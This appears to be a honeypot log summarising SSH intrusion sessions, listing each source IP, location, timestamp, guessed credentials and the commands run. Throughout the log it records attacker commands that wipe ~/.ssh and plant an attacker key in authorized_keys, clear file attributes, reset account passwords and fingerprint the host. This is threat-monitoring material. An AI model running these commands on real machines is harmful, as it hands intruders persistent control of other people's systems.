$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ scrappy_cosmo_root (151.252.84.225) โ€” Surgut, Russia ยท 1 session ยท 2 cmds
2026-07-20 07:03 EDT ยท as oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ lurking_carnival_root (201.17.146.173) โ€” Nova Lima, Brazil ยท 1 session ยท 2 cmds
2026-07-20 04:30 EDT ยท as oracle/1qaz2wsx#EDC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_cowboy_sol (40.121.112.217) โ€” Boydton, United States ยท 1 session ยท 20 cmds
2026-07-20 03:13 EDT ยท as pi/pi
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" โ†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "pi\nNhWFeYUU68N6\nNhWFeYUU68N6"|passwd|bash
$ Enter new UNIX password:
$ echo "pi\nNhWFeYUU68N6\nNhWFeYUU68N6\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_asado_sol (190.221.50.122) โ€” Buenos Aires, Argentina ยท 1 session ยท 2 cmds
2026-07-20 02:53 EDT ยท as oracle/Passw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_bike_root (91.92.40.240) โ€” Amsterdam, The Netherlands ยท 5 sessions ยท 45 cmds
2026-07-14 22:44 EDT ยท as root/admin, root/password, root/root
export PATH manipulation โ†’ repeated uname -s -v -n -m 2 OS fingerprinting across /usr/bin, /bin, busybox, and /proc/version โ†’ /etc/os-release detection โ†’ kernel version and architecture profiling
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—5
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—5
$ /bin/uname -s -v -n -m 2 > /dev/null ร—5
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—5
$ busybox uname -s -v -n -m 2 > /dev/null ร—5
$ ( [ -f /proc/version ] ร—5
$ [ -f /proc/version ] ร—5
$ head -1 /proc/version | cut -d -f1 ร—5
$ [ -f /etc/os-release ] ร—5
๐ŸŽญ sullen_dragon_root (221.228.10.71) โ€” Nanjing, China ยท 1 session ยท 1 cmd
2026-07-19 22:27 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ obsidian_pistachio_root (85.198.19.241) โ€” Tehran, Iran ยท 1 session ยท 2 cmds
2026-07-19 21:14 EDT ยท as oracle/12345678
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ obsidian_frost_root (91.185.75.244) โ€” Samara, Russia ยท 2 sessions ยท 4 cmds
2026-07-19 17:30 EDT ยท as oracle/123.com, oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ velvet_shogun_sol (43.165.177.143) โ€” Tokyo, Japan ยท 2 sessions ยท 22 cmds
2026-07-19 15:13 EDT ยท as oracle/0, sol/sol
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." (public key injection) โ†’ cat /proc/cpuinfo | grep name | wc -l (CPU count enumeration) โ†’ echo "sol\nzkYxIVbDhGIF"|passwd|bash (credential reuse
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "sol\nzkYxIVbDhGIF\nzkYxIVbDhGIF"|passwd|bash
$ Enter new UNIX password:
$ echo "sol\nzkYxIVbDhGIF\nzkYxIVbDhGIF\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ brisk_delta_root (102.88.21.215) โ€” Port Harcourt, Nigeria ยท 1 session ยท 1 cmd
2026-07-19 16:18 EDT ยท as root/123456
CPU profiling
$ echo "TEST"; echo -n "System :"; lsb_release -d | awk -F':' '{print " "$2}'; echo -n "Apt : "; which apt; echo -n "Cpu speed :"; cat /proc/cpuinfo | grep 'cpu MHz' | uniq | awk -F: '{printf " %.3f\n", $2}'; echo -n "Cpu count : "; nproc; echo -n "Memory : "; free -h | awk '/Mem:/ {print $2}'
โ†ณ CPU profiling
๐ŸŽญ rogue_specter_root (146.235.247.191) โ€” Santiago, Chile ยท 1 session ยท 2 cmds
2026-07-19 15:06 EDT ยท as oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ cryptic_liberty_root (157.254.221.124) โ€” Phoenix, United States ยท 1 session ยท 2 cmds
2026-07-19 14:35 EDT ยท as oracle/Password1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ drowsy_burger_root (165.154.36.71) โ€” Los Angeles, United States ยท 1 session ยท 20 cmds
2026-07-19 14:06 EDT ยท as eth/eth
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "eth\nOLbBUqkSp085\nOLbBUqkSp085"|passwd|bash
$ Enter new UNIX password:
$ echo "eth\nOLbBUqkSp085\nOLbBUqkSp085\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ haywire_batik_root (195.86.192.66) โ€” Kuala Lumpur, Malaysia ยท 1 session ยท 2 cmds
2026-07-19 13:20 EDT ยท as oracle/Password1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_beefeater_root (45.74.3.137) โ€” London, United Kingdom ยท 2 sessions ยท 2 cmds
2026-07-19 12:17 EDT ยท as root/123456, user/password
echo
$ echo SHELL_TEST ร—2
๐ŸŽญ vapor_lantern (1.116.61.217) โ€” Shanghai, China ยท 1 session ยท 1 cmd
2026-07-19 09:22 EDT ยท as user/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ spectral_garuda_root (8.215.105.219) โ€” Jakarta, Indonesia ยท 1 session ยท 1 cmd
2026-07-19 08:10 EDT ยท as pi/pi
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ baroque_windmill_root_41 (45.153.34.41) โ€” Amsterdam, The Netherlands ยท 27 sessions ยท 27 cmds
2026-07-19 04:46 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—27
๐ŸŽญ spectral_beefeater_root (87.106.65.126) โ€” Worcester, United Kingdom ยท 1 session ยท 20 cmds
2026-07-19 04:01 EDT ยท as miner/miner
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "miner\nmmgcHRTNEvFK\nmmgcHRTNEvFK"|passwd|bash
$ Enter new UNIX password:
$ echo "miner\nmmgcHRTNEvFK\nmmgcHRTNEvFK\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_clog_root (77.239.124.237) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-19 02:36 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ ironclad_acai_root (151.244.40.81) โ€” Osasco, Brazil ยท 1 session ยท 2 cmds
2026-07-19 02:45 EDT ยท as oracle/qwe123!@#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_padthai_root (161.82.146.86) โ€” Bangkok, Thailand ยท 24 sessions ยท 24 cmds
2026-07-05 21:18 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 12x)
$ echo SHELL_TEST ร—24
๐ŸŽญ restless_lantern_root_118 (39.104.78.118) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-18 17:42 EDT ยท as mysql/mysql
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ brazen_cowboy_root_207 (107.161.80.207) โ€” Los Angeles, United States ยท 1 session ยท 1 cmd
2026-07-18 15:58 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ scrappy_monsoon_root_42 (20.204.81.42) โ€” Pune, India ยท 1 session ยท 20 cmds
2026-07-18 13:11 EDT ยท as user/user
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "user\nwFpZgZh1j4sj\nwFpZgZh1j4sj"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nwFpZgZh1j4sj\nwFpZgZh1j4sj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
